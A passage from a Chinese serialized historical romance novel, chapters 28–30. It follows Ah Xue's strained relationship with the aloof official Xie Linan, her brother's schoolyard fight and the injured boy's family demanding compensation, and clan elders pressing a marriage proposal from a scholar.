谢临安倏地抬眼,眼神深邃别有深意。 偏偏阿雪无所察觉,又重复了一遍:“一日不见如隔三秋,那我们现在隔了多少秋了?” 说完还有模有样的伸出手算了一下,片刻后朝着谢临安笑笑:“很多秋。” 笑容如夏花般灿烂,眼神纯粹不包含任何利益算计。 平静无波的水面忽地落了一片花瓣,将这些天来故意忽略的情绪“啵”的一声翻涌上来。 谢临安眼神幽幽,在她看过来时候立刻恢复如常。 “找我何事?”他淡声问。 这次阿雪察觉出他的态度冷淡了,有点不明白为什么。或许是俩人许久不见生分不少?因此阿雪上前一步靠近坐在桌后的谢临安。 却不想他微微朝后顷身。 小娘子如山中小鹿一般的圆眼眨了几下,明显带了困惑之意。 “何事?”他再次问道。 “没事就不能来找你吗?” 阿雪明显委屈,袖子下的手忍不住抠了两下,将拇指摁的发红。 “有事直说便可。”谢临安像是没看见她的情绪变化,还是一副温润如玉的模样,甚至一眼看去他唇角是翘着的像是在笑。可阿雪就是知道,他在和她生分。 在城里时候她留了信给他告诉自己要走的事情,可临别那天没见到人。阿雪想,他大概忙的厉害,不来也是正常的。后来回了东山镇,她也写信给他,又没回。 阿雪一直觉得谢临安身为县衙官员,肯定每天都很忙,或许没看见信,也或许是看见了没时间回。 她一直如此安慰自己,可此刻却突然觉得,好像不是那么回事。 谢临安他变了,具体哪里发生变化阿雪描述不出,只知道他不再是之前的谢临安。 胸腔里莫名燃起一股无名之火,烤的阿雪心尖难受。 粉面逐渐变红,杏眸像是被水洗过似的变得湿润,阿雪顿了顿,底气不足带着委屈。 “那你就没有话想对我说吗?” 谢临安抄起桌面上的杂书,随意答道:“并无。” 他眼睛垂下盯着书面,向来敬重笔墨纸砚的阿雪第一次觉得,这些黑豆豆似的字如此可恨。 忽听一阵急促的脚步声,由近及远。 松石道:“郎君,卢娘子走了。” 谢临安不发一语。 屋里像是被抽走一切似的沉寂下来。 半晌之后,他烦躁的翻了两页自己近日心头好的杂书,可一个字都看不进去。 第28章 第28章 “要我说,你就是拉不下脸。” 醒酒的赵友成打着哈欠,立在窗户边上,边啃手上的果子边往窗外看。 小地方多是普通房屋,唯有客栈是两层小楼。谢临安喜净,挑了二楼最里间,窗户对着安静的后街,偶有人走过,着实寂静的很。 醒来后的赵友成发觉谢临安心情不好,从松石嘴里知道那位卢娘子来过,他不用细问便知道发生了什么。 用文词儿说就是“故作清高”,用老百姓的话来讲就叫“拉不下脸”。 “你是男子,理应让着柔弱的小娘子,何况是你心悦的娘子。” 谢临安淡声道:“我不曾说过心悦她。” 赵友成啧啧两声:“你是没说过,可你的心出卖了你。谢临安,你在我心里可一直是顶天立地的样子,别让我失望。” 赵友成笑嘻嘻的往前凑:“为兄不才,曾有过那么两段刻苦铭心的情史,看在你我情同手足的份上,我倾囊相授指点一二。” 谢临安抬眸,神色淡淡,薄唇吐出一个字:“滚。” “滚来滚去的做什么呀?” 不是所有人每天都心情舒畅,可莲花觉得阿雪天生性子好每天都是笑盈盈,不过今天肉眼可见的兴致恹恹,拿着手中的面团在桌子上滚。 “好好的白面都玩黑了。” 阿雪趴在桌子上,雪腮靠在胳膊上,不点而红的唇咬着,一双若含春水的眼眸眨了几下。 莲花走过来将她手中的面团夺走,问道:“怎么,和人闹别扭了?” 莲花比阿雪年长两岁,又因为阿雪心思清澈单纯,所以对她多有照顾。声音放柔了几分,拉过凳子坐在阿雪身侧,开导道:“来,同我说说,说不定我能帮帮你。” 阿雪贝齿咬着唇,鲜少露出少女的羞愤。莲花笑而不语,当即明白是和严夫子之间发生了什么事,看来男女之间的相处不是易事,如阿雪这般冰雪通透被人一眼看破,不见得是好事,容易被人拿捏。 过了半响,阿雪才开口。鸦羽似的睫毛垂下,因着气恼脸上浮现两抹红晕,楚楚动人。 认识了这么久莲花依然觉得阿雪生的貌美,楞楞地看着她,等阿雪说完等待片刻,莲花才缓过神来。 “他啊,我看就是个榆木疙瘩。” 如此赤诚之心又貌美如花的小娘子,严为之哪来的胆子惹她不快 莲花在心里骂了一遍严为之,“你是说不知道为何他突然对你冷淡了?” 阿雪连忙点头。 “会不会是他太忙了而忽略你,并不是故意的?” 镇子上只有一个学堂,全镇的孩子包括附近村落适龄孩童,都在严为之手底下读书,兴许最近太忙顾不上阿雪。 可阿雪摇头:“不是的,我能感觉到,他就是对我不冷不热的。” 之前谢临安也不曾对她热络,可她能感觉到他不抗拒。但这次明显不想见她,甚至连多看她一眼都不乐意。 为什么呢? 明明好久不曾见面,她甚至想趴在桌子上盯着他看,怎么他都不肯多看她一眼呢? 热情如火焰被谢临安的冷淡浇灭,阿雪蔫蔫的坐在那,满腔委屈。 莲花已经骂了一会了,她不好指名道姓,只用“混账东西”代替。“反正不管发生什么,我肯定站在你这边。阿雪,你也骂两句,会心情好。” 卢家姐弟性子直,但阿雪还真不会骂人,卢石头更不用提,只会挥舞一双大拳头解决事情。 比如此刻,学堂休息间隙,赵甲过来说了几句莫名其妙的话,卢石头其实没听懂,其他人听明白话外之音,都哄笑着看卢石头。 赵甲轻蔑地看卢石头,冷哼一声甩袖离去。 卢石头皱眉,问同桌:“赵甲怎么了?他叽里呱啦地说什么呢?” 同桌是个叫王木林的小孩,才八岁。是镇上清贫百姓家的孩子,父亲靠走街串巷收拾粪桶为生。官员都有三六九等,百姓们也是如此。学堂里的孩子们有样学样,都瞧不起王木林,背地里给他起外号叫臭木头,还传言他身上有股粪臭味。 卢石头从不参与这些,自然不知道王木林被欺负的事情,若不是卢石头体格壮硕拳头够硬,恐怕也被排挤。 王木林生性懦弱,说话时候低着脑袋,他看见赵甲走出学堂后才敢吱声,声如蚊讷道:“赵甲的意思是严夫子给你开小灶不公平,还说……” “我呸!”卢石头脸色涨红,一部分是生气一部分是难受。“谁爱开小灶啊,你以为我爱开啊?我也是被逼的啊。” “还有什么?”卢石头追问。 王木林怯怯的模样,卢石头大声道:“怕什么,让你说你就说。” 学堂里虽然有窗户,但夏季炎热人多不透气,不少人出去外面树下纳凉喝水,屋里人不多。 不过王木林还是捂嘴,小声道:“那我说了你别生气,也别告诉别人是我说的。” 卢石头不傻,挑眉道:“方才那么多人都听见赵甲说话了,就算有人想问也问不出。放心,不会叫人知道是你告诉我的。” 看来卢石头的脑子也不全是石头,王木林有些意外。 “好,你附耳过来。赵甲那句话的意思是你卖姐求荣,为了能追上进度,不惜让你阿姐使用美人计。” 学堂里的人都读过书,说话含蓄,比如赵甲说话,只是点了一句。王木林也没说的太露骨,意思到了就好。 “放屁!” 卢石头猛的拍桌子,脸气成了猪肝色,当即如一阵风似的冲了出去,王木林拦都拦不住。 等王木林跑出来时候,院子里已经乱作一团。 赵甲也不知道又说了什么,惹得卢石头直接怒吼一声冲了上去,他人高马大犹如泰山压顶,被压躺倒在地的赵甲都快喘不上气来,恼怒的骂卢石头,“难道我说的有错?就是你阿姐勾‘引夫子!” 卢石头最珍重家人,旁人说他也便罢了,说阿姐万万不可! 少年人容易冲动,直接给了赵甲一拳。 “啊!” 惨叫声冲破天际。 听见动静的严为之赶忙出来,惊吓过后迅速反应去拦卢石头,几个同窗也一起跟着拉人,堪堪将卢石头拉走。 赵甲捂着剧痛的嘴从地上爬起来,嘴巴吐出一颗带血的牙,恨恨看着卢石头。 “所以,你就把人打了?” 阿雪瞪大眼睛。 今日卢石头回来的比往日早,阿雪还以为学堂提前下课,却不想得来如此噩耗。 卢石头垂头不说话,严为之叹气道:“赵甲伤的很重,掉了两颗牙右脸也肿了起来,阿雪,我看得卢伯父带人登门道歉才能平息此事。” “我爹昨日进山去不在家。”阿雪急了,“我带东西上门道歉吧。” 卢大富不在,焦红杏身体不好,阿雪不想让她知道这件事,免得引发心病。 “不行!道什么歉,阿姐不许去。” “胆子肥了还敢打同窗,看爹回来怎么收拾你。”阿雪瞪了卢石头一眼,小少年立刻不敢说话了。可他也委屈啊,明明是他们说难听话在先自己才动手的,怎么反而变成他有错了? 严为之道:“阿雪你别急,这样,我先从中说和,到时候有什么消息第一时间告诉你。” “太好了,麻烦夫子了。” 严为之下意识的挺直了胸膛,“能为阿雪排忧解难是某之荣幸,某乐意至极。” 阿雪听不大明白,估计意思就是他愿意去做,阿雪又连连道谢说等消息。 当天回去没告诉焦红杏,不过焦红杏心细,发现姐弟俩吃饭时兴致不高,便问了一嘴。 “没事,就是石头在学堂被夫子训斥所以不高兴,娘别担心。” 总得找个理由搪塞过去。 焦红杏闻言温声细语地嘱咐卢石头好好读书,还多给他夹了一片腊肉。“多吃,吃饱了去做功课。” 卢石头像是霜打的茄子,蔫蔫的哦了一声低头扒饭。 阿雪情绪也不大对,不过焦红杏只以为她担心弟弟读书,因此没往旁处想。 翌日,焦红杏特意早起给姐弟俩蒸了鸡蛋羹。 “一人一碗,快趁热喝。” 卢石头不客气直接往嘴里送,阿雪则是舀出一半往焦红杏碗里放。“娘,你也吃。” 卢石头停嘴,默默舀出两勺,给娘和阿姐一人一勺。 “石头,到了学堂认真听讲,有不会的记得及时问夫子,可知道了?” “哦,知道了。”卢石头瓮声瓮气回答。 送姐弟俩走了后,焦红杏收拾屋子,趁着天气好将家里的被褥全部放在院子里晾晒。 女儿被子香香软软,儿子的被褥则有不少汗渍。焦红杏叹口气,只得拆了清洗。洗着洗着,焦红杏突然意识到,自己的身体当真比之前强健不少。 家里拆洗被褥的活计一直都是卢大富和卢石头做,从不让她们母女沾手,说是怕阿雪辛苦,怕焦红杏身体不好吃不消。 整日在家无所事事的焦红杏有次太过无聊,就把家里人脏衣服都洗了,顺道将被褥拆洗一番,没想到当天晚上腰酸背痛病了一场,花了不少钱抓药,得不偿失。 于是,焦红杏便不做这些繁累的活计了。 但今天,她洗完好几件也不觉得腰酸,索性将家里的被褥都拆开来,现在天气炎热,估摸着晌午时候就能晒干,下午她便可缝好。 洗完晾晒好,焦红杏才觉得手有点酸,但面上露出笑意,心想城里的大夫就是比小地方的厉害,什么时候再等卢大富进城,顺道去找大夫多开两副调理身体的药。 怎么也没往旁人送来的人参上想,殊不知那些东西乃是罕见珍品,普通的达官贵人都吃不上的。 歇了一会打算清扫院子,刚起身,就见有人朝他们家来。 “三叔。”焦红杏快步往大门口走,打开院门,恭敬的喊人。 她娘家没什么人了几乎不走动,卢大富族人多,为首的便是族里德高望重的老人,都喊一声三叔。 身后还跟着几个年长之人,焦红杏一一叫人请他们进屋里坐。 “就在院子吧,敞亮好说话。”来的都是族里叔辈们,确实在院子里更好。焦红杏忙去厨房倒了热水泡茶,急匆匆的出来。 “不是什么好茶,各位长辈莫要嫌弃。” 焦红杏此人柔柔弱弱,说话声音也温柔,卢大富最是喜欢她温柔小意的模样,不过落在那些长辈眼里,就觉得她是狐狸精,勾的卢大富不回族里也不孝敬他们。 三叔皱眉看她,索性也不寒暄,直接开门见山道:“这次来是有要事。” “您说。” “前些日子大富带你进城看病了?” 当时村里不少人知道焦红杏身体不适,进城看病这件事瞒不过去,焦红杏便点了点头。 “我还听说呆了一个月?城里处处都要用钱,没少花钱吧?” 焦红杏讪讪,一时不知如何作答。 “不是三叔说你,石头十三岁了,我听说你们夫妻俩给他送学堂去读书。读书是好事,但束脩和笔墨纸砚的钱不少吧?还有卢雪,今年十六,寻常人家早就定下亲事准备成亲生子,你家难道要留成老姑娘?” “大富憨厚什么都不懂,你这个当娘的就要多上心才是,怎么还去城里呆一个月,浪费那么多钱?” 一声声质问,让焦红杏说不出话。 她总不能说是因为她小月子才呆了一个月调养身体。 族里众位都坐着,只有焦红杏垂头站在那,身姿纤弱好像一棵无依无靠的蒲草。 “多留钱给石头念书用,再过几年还得娶媳妇,处处都要钱,你们当爹娘的勒紧裤腰带能省则省。” 夏风拂过焦红杏的衣摆,洗的发白的褐色细布衣裙贴着她,瘦骨伶仃。三叔责怪的话咽了咽,转而说起此行的重点。 “今日来是有个好消息要告诉你,隔壁村有个秀才想要求娶卢雪,样貌周正家世也不错,如今卢雪年岁正好,我看不如就许了那秀才。” “什么秀才姓甚名何?” 方才数落她时一声不吭,轮到女儿的婚事她大胆发言,顾不上长辈不满的神色,她继续问:“三叔,对方多大了?” 三叔有点恼,但人家当爹娘的问两句也正常。“今年二十七。” 焦红杏失望:“阿雪才十六。” “差十一岁而已,再说年纪大知道疼人,而且会读书写字,能嫁给他算是卢雪高攀。再说,石头正读书,有个当秀才的姐夫算是助力。等要了彩礼还能留着给石头读书娶媳妇,一举多得。” 焦红杏之关注了前半句,心想她家女儿心思单纯,有个年岁大的夫君照料是好事。对方又有功名在身,确实是夫婿的上好人选。 如果是之前,焦红杏大概会欣喜若狂,不过现在有个严为之作对比,那位秀才就不够看了。 严为之二十五岁,年纪是大了点,但长相儒雅风度翩翩,又开了学堂教书,每个月束脩不少钱。最重要的是,他对阿雪一片痴心。 “怎么?如此好的婚事还不满意你莫不是想将女儿嫁给当官的?” 这话便是嘲讽了,还盼着鸡窝里飞出金凤凰不成? 焦红杏脸上一热,小声道:“没有,三叔,儿女婚姻大事不可儿戏,你容我想想。” 第29章 第29章 失踪案原本是并给其他州县处理,后来声称抓到嫌犯此案了结。谁也没想到会再次出现失踪人口,谢临安不确定是之前那伙人所为,还是有其他幕后凶手。 因此,他嘱咐捕快们低调行事,莫要让老百姓和凶手们知道官府的人到了。 王捕头穿着便衣带人在街上巡视,顶多是瞧着凶悍,看不出特别来,路过阿雪的铺子,还笑呵呵同她打招呼。 “刚出锅的包子和馒头,来两个?” 阿雪虽单纯但嘴巴甜会做生意,加之做的包子馒头馅料扎实价格不贵,因此生意火爆。城里来的捕快们总是喜欢来这买着吃,一来二去便熟络起来。 “行,来一屉肉馅的,再来一屉豆馅。” 铺子里只有主食,茶水则是阿雪免费提供的。王捕头看着小娘子忙里忙外,笑说她会做生意,往后肯定能挣大钱。 开店做生意自然是为了挣钱,听见喜庆话阿雪笑的眉眼弯弯:“承你吉言。” 这群人吃完走了,阿雪忙着收拾小店里唯二的桌子,就听一阵轻缓沉稳的脚步声由远及近。 “欢迎,包子馒头都是新出锅的,客人先找地方坐,我这就来。” 把碗碟放在角落的大盆里后,阿雪转过身,看清楚来人后怔愣了片刻。 湖蓝色的圆领衣袍,腰间一条同色系腰带,贴合身形的衣袍尽显肩宽腿长。他撩袍坐下,与逼仄小铺格格不入,举手投足之间带着天生上位者的贵气,铺子蓬荜生辉。 “素馅包子两个。” 谢临安生的好看,长的既像父亲又像母亲,俩人的优点在他身上体现的淋漓尽致。天生的笑面冲淡他身上的清冽,给人一种温润之感。 不过他说话声音淡淡的,彷佛对什么都提不起兴趣一般。 阿雪咬了咬唇,其实心里还在生他的气。索性拿他当普通客人对待,直接捡了两个包子上桌,“刚出锅的,小心烫。” 方才还言笑晏晏的小娘子这么会板着一张脸,她生了一张讨喜的圆脸,五官也生的好,虽不笑但杏眸璀璨,熠熠生辉,叫人忽略她的表情。 谢临安将她的神色尽收眼底。 方才他站在对面,瞧见她和捕快们有说有笑,等到了他这连一个笑都没有。 熟读书籍的谢临安认为或许她就是玩兵法——欲擒故纵。 偏偏有用……偏偏他来了。 仰头将一杯凉茶灌入喉咙,压下不知何时起的奇妙情绪。谢临安不动声色,拿起筷子慢条斯理享用午饭。 灶台旁的阿雪拿着抹布假装擦拭,偏过头偷偷打量谢临安。他好像完全没发现,阿雪又偷看了好几眼。 闪耀的眸子露出狡黠光晕,就像是林子里偷吃果子的小狐狸。 原本压着的唇角逐渐翘起,在见到谢临安之后,所有烦闷的情绪一扫而空。 之前和谢临安同桌吃过几次饭,知道他吃相优雅,就像是此刻,因为他不凡气质,周遭环境也变得雅致起来,好像摆在面前的不是普通包子,而是什么山珍海味一般。 他鼻梁生的挺拔,侧颜看过去,果然如石头说过的一个词,叫“鼻若悬胆”。 小娘子偷窥的眼神慢慢变得炽热,很难不发觉。 谢临安不着痕迹笑了一下。 因着阿雪做贼心虚,这么会儿刚好转过头所以没瞧见,但一直垂手站在一旁的松石看的清清楚楚,心猛的下沉。 早上时候郎君虽然坐在那看书,松石凭借侍候多年的经验看出来,他们郎君坐立难安。 快晌午时候郎君说出去用饭,松石还想着去镇上最大的酒楼,谢临安不置可否,只在前面慢慢走,松石紧随而至。 走着走着就来到这里,其实在王捕头他们进铺子时候,他们主仆便已经在外面等着了,将过程看的清楚,也正因为如此,松石目睹谢临安的情绪变化,更家笃定他对卢小娘子与众不同。 用完包子的谢临安在品茶,面色比之前红润不少,旁人只会以为是因为吃了东西发热的缘故,松石却清楚,他们郎君是因为兴奋。 他们郎君乃是天之骄子见多识广,寻常的人和事已经不能引起他的注意,甚至如果卢小娘子是满腹心机之人,凭借他们郎君的聪慧头脑会勘破真相,然后觉得厌烦。 可卢娘子不是。 这些日子相处下来,松石觉得她心思单纯,做事不按常理,根本猜不透她的想法。 也正因为如此,才让他们郎君魂牵梦绕吧。 “郎君,这里还有刚出锅的豆馅包子。” 阿雪捡了几个,走过来道:“我记得你之前喜欢吃来着,趁热吃最香甜。” 她也没多想,就是觉得他好像比之前清瘦不少。明明身量如此之高,用饭却如此少,还不如她一个小娘子吃的多。日积月累,不瘦就怪了。 人瘦下来更容易生病的,就像是她娘一样。 包子上桌散着腾腾热气,于雾气缭绕之中,阿雪和谢临安四目相对。 深邃的眼眸犹如一眼望不到底的井水,又像是深不可测的湖泊,阿雪只觉自己好像深陷其中,溺的心跳骤然停了一瞬。 片刻后,她率先败下阵来,面红耳赤的收回视线,忍不住坐在他身侧。 仔细想想,她的复仇计划还未成功,不能半途而废。于是鼓起勇气,深呼吸让自己恢复如常。 “尝尝吧,你好久不曾吃过我做的东西了。” 她之前投入不少时间和精力,就这么放弃好像不甘心。阿雪努力让自己回想因为退婚而带来的痛苦,好像一根针扎在她身上,让她清醒过来。 谢临安看着她神色变幻,越发觉得她有趣。 有趣的事儿时常见,有趣的人太过稀少。 片刻后,谢临安淡淡应了一声,与阿雪闲谈起来,好似之前的不快是泡沫般烟消云散。 阿雪的心情肉眼可见变得愉悦,等谢临安离开时候她还站在门口相送。 “等我明日去找你。” 谢临安回头,花容月貌的小娘子倚着门,抬起一只手摇晃,笑容灿烂如夏花,生动扣人心弦。 “带来的锦缎放在何处了?” 回去后谢临安问松石,松石才想起来临来之前他们郎君叫人把库房里的缎子收拾了一通,自然都是适合男子用的颜色,不过其中一匹是象牙白色,京城里近年时兴的料子,阳光照射下会有祥云图案。 如此精细的玩意,自然价格不菲。 松石有意岔开,低声问:“郎君问的是哪匹料子?” 谢临安停下脚步,若有所思的看他。 “我发现你最近很有想法。” 松石头皮一紧。“郎君说笑了,可是那匹象牙白的料子?是要送给卢娘子吗?卢娘子在铺子里摸爬滚打,穿那等洁白料子恐有不妥,郎君不如送合适的成衣,就说是娘子送郎君布料的回礼。” 在城里临走前阿雪咬牙买了一块布料送给谢临安,但他没收,松石想要送回去的时候阿雪已经走了,那块料子现在还原封不动的躺在那。 “可。”谢临安声音淡淡,“交给你去办,不要让我失望。” 松石一口气提了上来,谢临安已经转身离开。 “松石,你在这做什么?” 从外面回来的赵友成拍松石肩膀,吓的松石一激灵。 “怎么了?脸色惨白莫不是病了?” “多谢赵郎君关切,我还有事,郎君自便。” 说完就急匆匆的走了,赵友成啧啧摇头,“怎么和他主子似的神神秘秘。” 松石办事麻利,当天黄昏时候就把东西送来了,阿雪还未来得及打开,卢石头与严为之步履沉重的过来。 卢石头垂头丧气,严为之则是叹了口气。“抱歉阿雪,有个坏消息。” 松石见状就先行回去复命,想了想将严为之的话也复述一遍。 谢临安抬头看了松石一眼,松石立刻如释重负。 他知道,他们郎君原谅他的过失了。回来路上松石暗骂自己糊涂,他是郎君的人,自然以郎君的喜为喜,以郎君的忧为忧,就算出京前侯夫人千叮咛万嘱咐,他也不能当真成为侯夫人的眼线。 他的主子是谢临安,若是当真他出事,也只有主子能护他。 “郎君,看样子卢娘子似乎出了什么事情,是否需要奴去打探?” 谢临安颔首,松石如蒙大赦,忙不迭的去将功赎罪。 这边阿雪让卢石头去完成课业。“小孩就做小孩该做的事,其他事情自有阿姐替你顶着。” 说完拉着严为之去旁边小声商议。 “今日赵甲没来学堂,他家里派了管事过来知会,我便同对方打探一番。赵甲伤的很重,掉了两颗牙,现在嘴里还都是血,吃饭喝水都成问题。对方的意思恐怕不想善了。” 严为之越说声音越小,觉得阿雪第一次央他事情,他却给办砸了。 “我也同他说了几句,还说登门拜访探望赵甲,但那管事说不必。阿雪,要不然让你母亲去一趟吧。” 夫子的薄面都不给,可见赵甲强硬态度。严为之认为这件事还是长辈出面为好,阿雪毕竟年纪轻,恐有不妥之处。 “我娘身体不好,此事还不曾知会她。”阿雪有点着急,嗓子都发干。 这些年顺风顺水还不曾遇见过什么困难,阿雪一时没了主意。 “别急,阿雪你先准备准备,今晚或者明日,我都可以陪你上门。” “真的?” 有人在身边自然是好的,起码不会慌乱。 小娘子眼眸熠熠生辉,期盼的看着严为之,他想,就算前面是刀山火海,他也得去。 “自然是真的!” 阿雪等不及,直接去买了几样糕点当赔罪礼,让卢石头看铺子去了赵家。谁成想连门都没进去,阿雪没了主意,连忙将东西塞进管事手里,道:“一点小心意,还请收下。” 严为之也在一旁说好话,那管事不情不愿地收了。 …… 阿雪晚上睡了个好觉。 她想对方既然收下赔罪礼,应当就是原谅的意思了。等赵甲去学堂后,再让卢石头给他赔礼道歉,这件事就过去了。 姐弟俩谁也没透露分毫,焦红杏蒙在鼓里丝毫不知,她也有心事。 那天族里三叔说的亲事焦红杏有在认真考虑,倒不是一口应下,就是想着如果严夫子那里不成,他们还有个秀才可以选择。 士农工商,读书人的地位极高,在焦红杏眼里他们简直高不可攀,有个秀才的名头便弥补年岁大的缺点,如果模样生的周正便是锦上添花了。 不过,她还是更倾向严为之,毕竟就在眼皮子底下。 摇摆不定的焦红杏想着,等卢大富回来后他们夫妻俩好好商量,给女儿阿雪定门好亲事,了解他们一块心头病。 说起来,这孩子嘴上不说,但心里肯定会因为被退婚而难过,焦红杏心疼女儿,打定主意要给丰厚嫁妆,到时候去婆家也能挺直腰板。待石头念书有出息后,他就能给阿雪撑腰,就算他们夫妻百年之后,也放心姐弟俩。 正盘算着,就听外面喧嚣之声。 焦红杏走出房门,不等打开院门,便听得族里人说话。 “卢大富家的,赶紧开门,来客了!” 来客了?焦红杏去开门的路上琢磨着会是谁来,可没有结果。打开门一看,有个脸生的后生站在那,身量纤瘦衣着朴素,瞧着和严为之一样,有股书生气。 “这位是……” “伯母好。”似乎是羞涩内敛,说完这话后生红了脸,族里三叔上前介绍道,“他就是之前跟你提过的周秀才,正好上门认认,往后少不了走动。” 焦红杏忙着打量周秀才,身量不高也不矮,按理来说还算可以,不过卢大富和卢石头都生的高大,因此焦红杏觉得周秀才瞧着孱弱,怕他身体不好。 三叔道:“还不快点请进去?” “对对,进屋说吧。” 不管成不成,就冲着对方是读书人也要以礼相待。 焦红杏咬牙取了卢大富舍不得喝的贵茶叶,又把阿雪买给她当零嘴的果脯和糕点拿出来。 有族人阴阳怪气道:“呦,上次来可是只有茶水。” “昨晚刚拿回来的,叔伯们尝尝。” 焦红杏才三十出头的年纪,可谓半老徐娘风韵犹存,那周秀才看了看焦红杏,对阿雪越发好奇。 “家是哪的?”焦红杏寒暄问话。 周秀才答:“周家沟。” 焦红杏:“来这走的挺远吧” “还成。” 一时间不知道说什么了,焦红杏不免拘谨。族里三叔插话:“他家里有牛车,赶车过来的,我们几个也借光坐了牛车。” 只有富户家里才有牛,春秋用来耕地拉东西,平日里能运货拉人。 看来周家条件不错。 能供出秀才,肯定不是普通人家。 细细打量,周秀才还真看不出是二十七,瞧着就像是二十左右。焦红杏满意几分,又和他说了几句话。不过对方性子腼腆,只回答几个字便不说话了。 好,这样心思浅显的人才不会欺负女儿。 “对了,周秀才还带了东西,就在门口牛车上。” 取下来一看,大雁一对,酒水两坛,红布一匹,还有其他糕点若干。 焦红杏眼皮直跳,“礼太大了吧?” 第一次上门,怎么搞的像是要定亲一样? 三叔眸子闪了闪,道:“人家读书人懂礼,你以为都像是你家大富那么粗鲁啊。” 焦红杏笑笑,“太破费了,不用的,拿回去孝敬你父母吧。” 她面皮薄,不好意思收下这么贵重的东西。 族人插话道:“周家条件不错,周秀才也是一份心意,大富家的,你收下算了。” “是啊,坐马车半天才到这,再拿回去多不好看啊。” 众人七嘴八舌的劝,焦红杏有些招架不住了,便说收下糕点,其他的不要,周秀才坚持给,三叔他们继续劝,没想到周秀才拎着东西直接跑屋里去,放下东西关好门才出来。 焦红杏要进去取,这时候外面又有人叩门,声音之大,直接掩盖住院里这些人的动静。 “这是卢石头家吗?有人在家吗?” 紧接着是一阵大力敲门,声音之大好像要把门板子拍下来。 “谁啊?” “开门!”外面语气越发不善。 焦红杏勉强笑了笑,安抚周秀才和族里长辈道:“你们先坐。” 院子里方便卢大富剥皮拆骨,弄了一套石桌椅,就摆放在槐树下。几个人坐下,看见院门打开,进来一个趾高气昂的中年男子。 “你是卢石头娘?” 中年男子身后还跟着一个小少年,脸上贴着纱布,瞧着肿了半边脸,瞪向焦红杏。 “是,敢问你们是谁?” 砰的一声,中年男子猛的推大门,木门直接砸在木栅栏上,当即损坏发出吱嘎一声,不堪重负轰然倒地。 “你还好意思问,正好人多,来来,你们瞧瞧,卢石头那个畜生把我儿子打成什么样子了?!” 赵甲捂着脸上前,他脸太肿导致说话只能发出呜咽之声,控诉卢石头的罪行。 焦红杏面色发白捂着胸口,不敢置信道:“我家石头打的?不能,他不会打人的。” “证据就在这你还敢抵赖!学堂所有人都能作证!你们昨日上门送了赔罪礼,今日就不想承认,天底下没有这样的道理!” 赵家富裕,赵甲还是老来得子,赵家上下全都小心对待,平日里连磕碰都没有,竟然被一个外人打成这样? 赵员外放话,绝不会轻易罢休! 昨日阿雪上门有严为之跟着,否则赵家管家连门都不会开,全是看在严为之面子上。 “还提着几样破糕点,我家缺那点糕点吗?说吧,这件事到底怎么解决!” 他强势说话,噼里啪啦的一顿说,根本没给焦红杏反应的余地,好半响之后,焦红杏才确认卢石头打人的事实,而且女儿知道却没知会她。 大脑一片红白,焦红杏嘴巴张了又合上。 “我是卢石头的爷辈,真是我们石头打人了?” 赵员外气的直接破口大骂:“眼瞎了不成!” 三叔被骂的气恼:“赔礼便是,大富家的,给他拿点钱。” 伤成这样去看诊确实得要银子,焦红杏忙背过身,从怀里掏出小荷包,狠心拿出一大把,双手捧着递给赵员外。 “不好意思,我替石头向孩子道歉,这点钱是心意,拿去给孩子抓药买糖。” “打发叫花子呢!”赵员外一脸横肉半点不客气,手掌如扇扫过,一把铜板像是下雨似的掉了一地。 焦红杏心疼的去捡,一手的土也顾不上,她直起身子时恍惚了一下差点没站稳。 因着吵闹声吸引了不少附近的邻居,大门敞开,所有情况都被他们尽收眼底。 “那你说,想要多少?”理亏的焦红杏压低了声音,“我给便是。” 赵员外打量朴素整洁小院,占地连他们家一半都没有。他不屑道:“让你赔多了你都拿不出来,这样,一两银子,再让卢石头写十张认错书,当着学堂所有人的面给我儿子弯腰鞠躬认错,念出他的罪行。” 焦红杏觉得石头确实打伤了人,她也认。可总得弄明白一切再说,而且她不觉得“罪行”二字可以放在这。 对方越说,焦红杏的眉头越皱,柳叶眉蹙着,手抓着衣袖口。 都说为母则刚,焦红杏硬撑着和对方商量。 “前因后果我还不清楚,但我相信石头不会无缘无故打人,不如请严夫子过来,我们一起协商。赔钱赔礼,我们都认。” “我说话你听不懂是不是?拖到今天才来已经是看在夫子的面子上了,你还真以为我怕了严夫子不成?赔钱!不赔钱今日这件事不会善了。” 从外面走进来几个护院模样的汉子,各个凶神恶煞,吓的焦红杏后退一步。 这时候一直不吭声的三叔走了出来。“孩子们是同窗,又都在一个地方住着,抬头不见低头见的,不如坐下商量?” 赵员外不动如山,大有不答应就不走的架势。 三叔转身朝焦红杏要了那把铜板,又给了一个族人眼色,那人会意后紧忙去屋里把周秀才带来的礼物取出来。 “上好的酒,大雁,还有这些糕点,都给你。来,这把钱也拿着,我这里也还有一些,你看看够不够?” 三叔从怀里掏出一小把铜板,其他几个人也都掏钱,焦红杏鼻尖泛红,丈夫不在,他的族人还能出手相助,当真是情深义重。 东西堆放在一起,早就超过一两的价值了,赵员外气消了大半,临走前喊道:“还有道歉!明天我会亲自去学堂监督!” 第30章 第30章 小地方什么事都瞒不住,焦红杏还没弄清楚卢石头为何打人,不想让邻居们传瞎话,便放软了态度说了几句话,请走赵家人。 转过身,她面带感激的朝着族里长辈鞠躬。 “多谢各位叔伯,方才都给了多少钱?我这就进屋取还你们。” 和族里来往仅限于逢年过节,她一个做晚辈的自然不会欠他们的钱,说出去丢卢大富的脸。 “不用,你们去把门修好,大富不在家,他们娘三个夜里睡觉别不安生。”三叔开口说话了,他指使两个人去把大门扶起来,顺道拿着斧头锤子敲敲打打,勉强重新安好。 “不好意思了周秀才,让你见笑了。”焦红杏对读书人极为客气,那周秀才应当是被吓到了,脸色不大好,不过他笑了笑,摇头说:“没事。” 院门关好后隔绝了外面好奇邻里探究的视线,三叔摆摆手示意焦红杏坐下。 “大富不在家,周秀才送的礼物他也没瞧见,这样,周秀才把带来的东西写一张纸上,等到大富回来你记得给他看。” 方才族里人急忙给赵家拿东西,焦红杏去阻止已经来不及,只能想着给周秀才带点回礼,才算不失礼数。 “不用吧,”焦红杏觉得写下来太奇怪了,族里人或许是不信任她? 三叔不甚赞同:“大富才是一家之主,怎么也得知道前因后果,还有啊,多亏了周秀才带来的东西才平息对方怒火,否则人家不依不饶,你一个女人家怎么办?” 焦红杏再次表示感谢,脸上臊的慌,觉得被人家看了笑话,怕他对女儿印象不好。“来,周秀才,再喝点水,真是不好意思啊。” 周秀才一直很得体的微笑,惜字如金道:“没关系。” 话赶话赶到这了,焦红杏便提出拿出库房里的兽皮作为回礼,三叔阻止:“大富家的,你怎么轴的厉害啊,让你写就写,到时候好给大富看。” 焦红杏:“我不认字,也不会写字。” 